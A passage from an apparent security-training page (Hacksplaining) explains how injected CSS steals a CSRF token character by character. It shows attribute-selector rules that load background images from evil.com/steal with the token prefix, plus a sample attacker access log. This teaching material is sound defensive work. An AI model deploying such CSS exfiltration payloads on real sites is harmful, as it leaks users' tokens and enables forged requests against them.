Hacksplaining Log in

Want everyone on your software team to learn this? Free 14-day trial.

Train my team

The attack continues systematically in this fashion. Each time the user refreshes or navigates to another post, the malicious CSS extracts another character of their CSRF token by testing progressively more specific selectors.

Probing the third character
CSS 
input[name='csrf-token'][value^='9k1'] {
  background: url(https://evil.com/steal?token=9k1);
}

input[name='csrf-token'][value^='9k2'] {
  background: url(https://evil.com/steal?token=9k2);
}

input[name='csrf-token'][value^='9k3'] {
  background: url(https://evil.com/steal?token=9k3);
}
Malicious Server Logs
Access log 
HTTP GET https://evil.com/steal?token=9
HTTP GET https://evil.com/steal?token=9k